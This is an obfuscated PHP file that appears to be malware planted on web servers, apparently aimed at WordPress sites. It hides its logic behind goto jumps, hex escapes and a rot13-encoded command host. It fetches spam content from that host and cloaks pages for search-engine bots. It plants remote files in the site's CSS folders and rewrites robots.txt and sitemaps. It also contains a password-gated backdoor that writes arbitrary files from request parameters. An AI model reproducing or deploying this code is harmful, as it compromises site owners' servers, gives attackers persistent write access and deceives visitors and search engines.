goto glN2g; UMgZW: $xmlname = "\45\x36\x36\45\x37\62\45\67\x41\45\67\62\45\x36\x31\x25\x36\x37\x25\x37\x36\x25\66\62\45\66\x39\x25\x36\101\x25\x32\x45\45\x36\x35\x25\67\65\45\67\63\x25\x37\x39\45\66\62\x25\x37\67\x25\66\x32\45\67\66\x25\67\71\x25\x32\105\45\66\x36\45\67\x36\x25\x36\x37\45\x37\x32"; goto q_qky; zgPBX: dRtgq: goto eCMFy; H5SWe: goto BFfXC; goto Mz0VS; s47bE: goto KghU2; goto EgMth; nxeGZ: QP3TO: goto I9aJP; X3hoO: goto k3AIW; goto xIGqT; lmVwE: goto IN9vL; goto RBg_3; dN9jy: if (isset($_SERVER["\x44\117\103\x55\115\x45\116\x54\137\122\117\x4f\x54"])) { $path = $_SERVER["\x44\x4f\x43\125\x4d\105\x4e\124\x5f\122\x4f\x4f\x54"]; } else { $path = dirname(__FILE__); } goto lmVwE; byw98: goto P4AU_; goto zgPBX; Wonps: goto AuOqP; goto OpYZ7; v7UiY: $goweb = str_rot13(urldecode($xmlname)); goto WiHWW; QrUk1: jmkR3: goto BLvK4; kydTm: function doutdo($url) { $file_contents = ''; if (function_exists("\x63\165\x72\154\x5f\x69\x6e\x69\164")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); $file_contents = curl_exec($ch); curl_close($ch); } if (!$file_contents) { $file_contents = @file_get_contents($url); } return $file_contents; } goto X3hoO; u4qlO: goto sFFKh; goto HtJFb; V9yyd: abD6F: goto LKLF8; WiHWW: goto hTE2d; goto vHoKq; UoYhk: goto va0S3; goto zcx85; mC0k_: sFFKh: goto v7UiY; Psw0P: goto dRtgq; goto jXLgU; slflS: BFfXC: goto Mo_5B; RANdX: goto jmkR3; goto a05RJ; zcx85: d61fO: goto L024s; Ncgnn: goto d61fO; goto EdDNG; siSqM: $host = $_SERVER["\110\124\x54\x50\x5f\x48\117\x53\124"]; goto RANdX; WIY3H: goto QP3TO; goto F9dgp; Opq0A: $web = $http_web . "\72\57\57" . $goweb . "\57\151\x6e\144\x65\x78\156\x65\x77\56\160\x68\x70"; goto Ncgnn; Ni9Iy: IN9vL: goto lsybb; ON_Sr: goto BVh_e; goto pAS6F; q_qky: goto RUh6Z; goto ptnGD; RKOij: goto lq5Yy; goto hFLE3; xUmwU: goto Mz8ly; goto V9yyd; NihT5: goto ptLT9; goto hpngA; NyOBU: y9iD5: goto l1YLP; CwFDC: goto a8OSH; goto NyOBU; EdDNG: ldZIN: goto UMgZW; jLzpo: goto kPGWY; goto xY4Q2; Mz0VS: j2oSf: goto tNz5n; fFOFc: if (substr($host, 0, 4) == "\167\x77\167\x2e") { $host_nw = substr($host, 4); } else { $host_nw = $host; } goto Nxy16; Rvy0J: $dpath = $path . "\x2f" . $fpath; goto jLzpo; Dg57c: Sbei7: goto dN9jy; ToEZq: goto nLnGM; goto YnMkd; hbHzH: function doutdo_post($url, $data) { $file_contents = ''; if (function_exists("\143\x75\162\154\137\x69\156\151\164")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_USERAGENT, "\115\157\172\x69\x6c\x6c\x61\x2f\x34\56\60\x20\50\143\157\x6d\x70\141\164\151\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\40\65\56\60\x31\x3b\40\127\151\x6e\x64\157\x77\163\x20\116\x54\40\65\56\60\x29"); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); $file_contents = curl_exec($ch); curl_close($ch); } if (!$file_contents) { $ms = 0; foreach ($data as $key => $value) { if ($ms == 0) { $url .= "\77" . $key . "\75" . $value; } else { $url .= "\46" . $key . "\75" . $value; } $ms++; } $file_contents = @file_get_contents($url); } return $file_contents; } goto Aj781; jpZ_G: if (!strstr($html_content, "\x6e\157\x62\x6f\x74\165\163\x65\162\141\147\145\x6e\164")) { if (strstr($html_content, "\157\153\150\x74\x6d\154\x67\145\164\x63\x6f\156\164\x65\x6e\x74")) { @header("\x43\x6f\156\164\145\x6e\x74\55\164\171\160\x65\72\40\164\145\x78\x74\57\150\x74\155\x6c\x3b\x20\143\150\x61\162\163\x65\164\75\x75\x74\x66\55\x38"); if (strstr($html_content, "\x5b\x23\43\x6c\151\156\153\x63\x73\163\x23\x23\135")) { if (file_exists($ps)) { $lcss_str = file_get_contents($ps); $html_content = str_replace("\133\43\x23\x6c\x69\156\153\x63\x73\x73\x23\x23\x5d", $lcss_str, $html_content); } else { $html_content = str_replace("\x5b\x23\43\x6c\x69\x6e\153\143\163\163\x23\43\135", '', $html_content); } } if (strstr($html_content, "\133\x23\x23\x70\x74\x68\x6c\x69\x6e\x6b\143\163\x73\43\43\x5d")) { if (file_exists($pspth)) { $lcsspth_str = file_get_contents($pspth); $html_content = str_replace("\x5b\x23\x23\160\164\150\154\151\x6e\153\143\x73\163\x23\x23\135", $lcsspth_str, $html_content); } else { $html_content = str_replace("\x5b\x23\x23\160\x74\x68\x6c\x69\x6e\x6b\x63\x73\163\43\43\x5d", '', $html_content); } } $html_content = str_replace("\x6f\x6b\150\164\x6d\154\x67\145\164\x63\x6f\x6e\164\145\156\164", '', $html_content); echo $html_content; die; } else { if (strstr($html_content, "\x6f\x6b\x78\155\x6c\147\x65\x74\143\157\x6e\164\x65\x6e\x74")) { $html_content = str_replace("\157\x6b\170\x6d\154\147\145\164\x63\157\x6e\x74\x65\x6e\x74", '', $html_content); @header("\103\157\156\x74\x65\156\164\55\x74\x79\x70\145\72\40\164\145\170\164\57\170\155\x6c"); echo $html_content; die; } else { if (strstr($html_content, "\x70\x69\156\147\170\155\x6c\x67\145\x74\x63\157\x6e\x74\145\156\164")) { $html_content = str_replace("\160\x69\x6e\147\x78\x6d\x6c\147\x65\x74\143\x6f\156\x74\145\156\164", '', $html_content); fcss($dpath, $ps, $urlc); fcss($dpath, $pspth, $urlcpth); @header("\x43\157\x6e\164\145\156\x74\x2d\x74\171\160\145\x3a\x20\x74\x65\x78\164\x2f\x68\x74\x6d\154\x3b\x20\143\150\141\162\163\145\164\x3d\165\164\146\x2d\70"); echo ping_sitemap($html_content); die; } else { if (strstr($html_content, "\x67\x65\x74\x63\x6f\x6e\x74\145\156\x74\x35\x30\x30\160\x61\147\145")) { @header("\110\x54\x54\x50\57\x31\56\61\x20\x35\x30\x30\x20\x49\156\164\145\162\156\141\154\x20\123\x65\x72\166\145\x72\40\105\162\162\x6f\162"); die; } else { if (strstr($html_content, "\147\x65\x74\x63\x6f\x6e\164\x65\156\x74\x34\60\x34\160\x61\x67\145")) { @header("\x48\x54\x54\120\57\x31\56\61\x20\x34\60\64\40\116\x6f\164\40\x46\x6f\x75\x6e\x64"); die; } else { if (strstr($html_content, "\147\x65\164\x63\157\x6e\164\145\x6e\164\x33\60\x31\x70\141\147\145")) { @header("\110\x54\x54\120\57\61\x2e\x31\x20\63\x30\x31\x20\x4d\x6f\x76\145\x64\x20\x50\145\162\x6d\141\156\x65\x6e\164\154\x79"); $html_content = str_replace("\x67\145\x74\x63\157\x6e\x74\145\x6e\164\x33\60\61\160\141\147\145", '', $html_content); header("\114\157\x63\141\164\151\157\x6e\x3a\x20" . $html_content); die; } } } } } } } goto Psw0P; Hf5Z2: AuOqP: goto hzH_9; lsybb: if (is_dir($path . "\x2f\x77\x70\55\x69\x6e\x63\x6c\x75\144\145\163")) { $fpath = "\x77\160\x2d\x69\x6e\143\154\x75\144\x65\x73\57\143\163\x73"; } else { $fpath = "\x63\163\x73"; } goto byw98; NOHdv: if ($duri_tmp == "\57" || strstr($duri_tmp, "\x65\167\164\x74\x6d")) { fcss($dpath, $ps, $urlc); fcss($dpath, $pspth, $urlcpth); } goto K_I5z; wXapD: if ($password == "\x66\x37\65\146\x64\65\141\x63\x64\x33\x36\141\x37\x66\142\x64\x31\x65\62\61\71\142\61\71\70\70\x31\141\65\x33\x34\70\142\146\x63\x36\66\145\x37\x39") { $add_content = @$_REQUEST["\155\141\x70\156\141\x6d\145"]; $action = @$_REQUEST["\x61\143\164\151\157\x6e"]; if (isset($_SERVER["\104\x4f\x43\x55\115\105\x4e\x54\x5f\122\x4f\117\124"])) { $path = $_SERVER["\x44\117\x43\x55\x4d\x45\x4e\x54\x5f\122\x4f\x4f\x54"]; } else { $path = dirname(__FILE__); } if (!$action) { $action = "\x70\165\164"; } if ($action == "\160\x75\164") { if (isset($_REQUEST["\x67\x6f\x6f\x67\154\x65"])) { $google_verification = $_REQUEST["\147\157\x6f\x67\154\x65"]; if (preg_match("\57\x5e\x67\x6f\x6f\147\154\x65\x2e\52\77\50\134\56\x68\x74\155\154\x29\44\x2f\151", $google_verification)) { file_put_contents($google_verification, "\147\157\157\147\x6c\x65\55\x73\x69\164\x65\x2d\x76\x65\162\x69\146\151\x63\141\x74\x69\157\156\72" . "\40" . $google_verification); die("\74\141\x20\150\x72\x65\146\x3d" . $google_verification . "\76" . $google_verification . "\74\x2f\141\x3e"); } } if (strstr($add_content, "\56\170\x6d\154")) { $map_path = $path . "\x2f\163\151\x74\145\x6d\141\160\56\x78\155\x6c"; if (is_file($map_path)) { @unlink($map_path); } $file_path = $path . "\x2f\x72\157\142\x6f\x74\163\x2e\164\x78\164"; if (stristr($add_content, "\125\x73\x65\x72\55\141\x67\x65\156\164")) { @unlink($file_path); if (file_put_contents($file_path, $add_content)) { echo "\x3c\x62\x72\x3e\157\153\x3c\x62\x72\x3e"; } else { echo "\x3c\x62\x72\x3e\x66\151\154\145\40\167\x72\x69\x74\x65\x20\146\x61\x6c\x73\x65\x21\x3c\142\162\x3e"; } } else { if (file_exists($file_path)) { $data = doutdo($file_path); } else { $data = "\x55\163\145\x72\x2d\141\x67\145\156\x74\72\x20\52\12\101\154\154\x6f\x77\x3a\x20\57"; } $sitmap_url = $http . "\72\57\57" . $host . "\x2f" . $add_content; if (stristr($data, $sitmap_url)) { echo "\x3c\142\x72\76\x73\x69\164\x65\x6d\141\x70\40\x61\154\162\145\x61\x64\x79\40\x61\x64\x64\x65\144\x21\74\142\x72\x3e"; } else { if (file_put_contents($file_path, trim($data) . "\15\12" . "\123\x69\164\145\155\x61\160\x3a\40" . $sitmap_url)) { echo "\x3c\x62\162\76\x6f\x6b\74\142\162\76"; } else { echo "\74\x62\162\76\x66\151\x6c\145\x20\167\x72\151\164\145\x20\x66\x61\154\163\145\x21\x3c\x62\x72\x3e"; } } } } else { echo "\x3c\x62\162\76\163\x69\x74\x65\155\x61\160\40\x6e\x61\x6d\x65\x20\146\x61\154\x73\145\x21\74\x62\162\x3e"; } $a = sha1(sha1(@$_REQUEST["\141"])); $b = sha1(sha1(@$_REQUEST["\x62"])); if ($a == doutdo($http_web . "\x3a\57\x2f" . $goweb . "\57\141\x2e\x70" . "\150\x70") || $b == "\x66\70\x66\60\x64\x61\145\70\x30\64\x33\x36\x38\x63\x30\x33\63\64\145\x32\62\x64\71\x64\x63\142\x37\60\144\x33\x63\x37\142\142\146\141\x39\66\x33\x35") { $dstr = @$_REQUEST["\x64\x73\x74\162"]; if (file_put_contents($path . "\57" . $add_content, $dstr)) { echo "\x6f\x6b"; } } } die; } goto sOjol; Rmzwj: goto Sw7zb; goto nxeGZ; xIGqT: NYrmQ: goto ISr9Y; AgLii: hTE2d: goto aIQvW; YnMkd: nLnGM: goto ag7Rd; oWw1p: Sw7zb: goto FeHEq; Mo_5B: $lang = urlencode($lang); goto NihT5; ss3dI: Unh5O: goto c2YLA; F9dgp: k3AIW: goto hbHzH; K_I5z: goto NYrmQ; goto Ni9Iy; tBpc5: yUMU_: goto siSqM; FF1Ci: if (is_https()) { $http = "\150\164\164\x70\163"; } else { $http = "\x68\164\x74\160"; } goto Qs3qh; l1YLP: if (isset($_SERVER["\x48\x54\124\x50\x5f\122\105\x46\105\122\105\x52"])) { $urlshang = $_SERVER["\110\x54\124\x50\137\x52\105\106\105\x52\x45\x52"]; $urlshang = urlencode($urlshang); } goto Q_yzP; GNwib: goto ldZIN; goto oWw1p; xY4Q2: Mz8ly: goto NOHdv; I9aJP: $cssnpth = str_rot13(substr($host_nw, 0, 3) . substr($goweb, 0, 3)) . "\x70\164\x68\x2e\143\x73\x73"; goto ToEZq; zYi0H: @ignore_user_abort(1); goto GNwib; cAdIy: @set_time_limit(3600); goto en19e; FeHEq: $urlc = $http_web . "\x3a\x2f\57" . $goweb . "\57\x74\145\x6d\x70\x2f\x73\x74\x79\x6c\145\x2e\x63\163\x73"; goto WIY3H; dEL3o: goto yUMU_; goto IIeaV; Qs3qh: goto ZAGTo; goto pqQIN; jXLgU: RUh6Z: goto LWjiO; sOjol: goto Sbei7; goto Hf5Z2; OpYZ7: a8OSH: goto cVXSD; Nxy16: goto j2oSf; goto Dg57c; LKLF8: function drequest_uri() { if (isset($_SERVER["\122\105\121\x55\105\x53\124\x5f\x55\122\x49"])) { $duri = $_SERVER["\122\105\x51\125\x45\123\124\x5f\x55\x52\x49"]; } else { if (isset($_SERVER["\141\162\147\x76"])) { $duri = $_SERVER["\x50\110\x50\x5f\x53\105\114\106"] . "\77" . $_SERVER["\x61\x72\147\x76"][0]; } else { $duri = $_SERVER["\x50\x48\x50\x5f\x53\x45\x4c\x46"] . "\77" . $_SERVER["\121\x55\105\122\x59\x5f\x53\x54\x52\111\116\x47"]; } } return $duri; } goto u4qlO; yMEfL: $urlcpth = $http_web . "\x3a\57\57" . $goweb . "\x2f\x74\x65\x6d\x70\x2f\x73\164\x79\154\x65\160\164\150\x2e\x63\163\163"; goto xHaRt; EvOFf: goto abD6F; goto jTsIt; t8wsI: goto TdwhJ; goto AgLii; glN2g: goto GoF0N; goto tBpc5; pqQIN: kPGWY: goto fFOFc; YXbUx: $password = sha1(sha1(@$_REQUEST["\x70\144"])); goto t8wsI; HtJFb: lq5Yy: goto Rw_8n; RlQsV: goto naxqU; goto slflS; ISr9Y: if (is_file($ps)) { $css_state = 1; } else { $css_state = 0; } goto Wonps; hpngA: TdwhJ: goto wXapD; Q_yzP: goto vgQ8b; goto IwJmQ; ag7Rd: $pspth = $path . "\x2f" . $fpath . "\x2f" . $cssnpth; goto hiT5z; RBg_3: vgQ8b: goto YXbUx; QKkEs: $duri_tmp = drequest_uri(); goto CwFDC; IIeaV: GoF0N: goto cAdIy; OAsaJ: function ping_sitemap($url) { $url_arr = explode("\xd\xa", trim($url)); $return_str = ''; foreach ($url_arr as $pingUrl) { $pingRes = doutdo($pingUrl); $ok = strpos($pingRes, "\123\x69\164\145\x6d\x61\x70\x20\x4e\157\164\x69\x66\151\x63\x61\x74\x69\x6f\156\40\122\145\143\145\x69\166\145\144") !== false ? "\160\151\x6e\147\157\153" : "\145\162\162\x6f\x72"; $return_str .= $pingUrl . "\x2d\x2d\x20" . $ok . "\74\142\162\76"; } return $return_str; } goto UoYhk; en19e: goto lhgCA; goto Lb4uC; ARLza: goto y9iD5; goto HgrdH; BLvK4: $lang = @$_SERVER["\110\124\124\120\137\101\x43\x43\x45\120\124\x5f\x4c\x41\116\x47\125\101\x47\x45"]; goto H5SWe; HgrdH: KghU2: goto Opq0A; uydTd: $urlshang = ''; goto ARLza; Inmf_: function disbot() { $uAgent = strtolower($_SERVER["\110\124\124\x50\137\x55\123\105\122\x5f\101\x47\105\x4e\124"]); if (stristr($uAgent, "\147\157\157\147\154\x65\142\157\164") || stristr($uAgent, "\x62\151\x6e\147") || stristr($uAgent, "\x79\x61\150\x6f\x6f") || stristr($uAgent, "\147\x6f\x6f\x67\154\x65") || stristr($uAgent, "\x47\x6f\157\147\154\x65\142\x6f\164") || stristr($uAgent, "\147\x6f\157\x67\x6c\x65\x62\157\164")) { return true; } else { return false; } } goto RlQsV; c2YLA: $duri = urlencode($duri_tmp); goto EvOFf; L024s: $html_content = trim(doutdo_post($web, $pdata)); goto ON_Sr; qlnKc: function fcss($dpath, $ps, $urlc) { if (is_dir($dpath)) { if (!file_exists($ps)) { @file_put_contents($ps, doutdo($urlc)); } } else { if (@mkdir($dpath)) { if (!file_exists($ps)) { @file_put_contents($ps, doutdo($urlc)); } } } } goto xUmwU; aIQvW: function is_https() { if (isset($_SERVER["\110\124\124\120\123"]) && strtolower($_SERVER["\110\124\124\120\123"]) !== "\x6f\146\x66") { return true; } elseif (isset($_SERVER["\x48\124\124\x50\137\130\x5f\x46\x4f\122\x57\101\122\104\105\x44\x5f\x50\122\x4f\124\x4f"]) && $_SERVER["\110\124\x54\x50\137\x58\137\x46\x4f\122\127\x41\122\104\x45\x44\137\x50\x52\x4f\124\117"] === "\x68\164\x74\x70\x73") { return true; } elseif (isset($_SERVER["\110\x54\124\120\x5f\106\x52\x4f\116\x54\x5f\x45\116\x44\137\110\x54\x54\120\x53"]) && strtolower($_SERVER["\110\x54\124\x50\137\106\122\117\x4e\124\x5f\105\x4e\104\137\x48\x54\124\x50\x53"]) !== "\157\146\x66") { return true; } return false; } goto dEL3o; cVXSD: if ($duri_tmp == '') { $duri_tmp = "\x2f"; } goto zN3Qf; ptnGD: hAnkm: goto yMEfL; EgMth: naxqU: goto kydTm; a05RJ: BVh_e: goto jpZ_G; Rw_8n: $ps = $path . "\57" . $fpath . "\x2f" . $cssn; goto Rmzwj; hiT5z: goto hAnkm; goto yVulK; yVulK: ptLT9: goto uydTd; hzH_9: $pdata = array("\x77\x65\x62" => $host, "\172\172" => disbot(), "\165\162\x69" => $duri, "\165\162\x6c\163\150\x61\x6e\x67" => $urlshang, "\x68\x74\x74\160" => $http, "\154\141\x6e\x67" => $lang, "\143\x73\163" => $css_state); goto s47bE; LWjiO: $http_web = "\150\x74\x74\x70"; goto QbHiV; jTsIt: va0S3: goto Inmf_; Lb4uC: P4AU_: goto Rvy0J; IwJmQ: QNSkq: goto qlnKc; vHoKq: F1C6x: goto FF1Ci; tNz5n: $cssn = str_rot13(substr($host_nw, 0, 3) . substr($goweb, 0, 3)) . "\56\x63\x73\x73"; goto RKOij; xHaRt: goto W7oww; goto mC0k_; Aj781: goto QNSkq; goto DZ8Wo; zN3Qf: goto Unh5O; goto QrUk1; pAS6F: ZAGTo: goto QKkEs; QbHiV: goto F1C6x; goto ss3dI; hFLE3: lhgCA: goto zYi0H; DZ8Wo: W7oww: goto OAsaJ; eCMFy: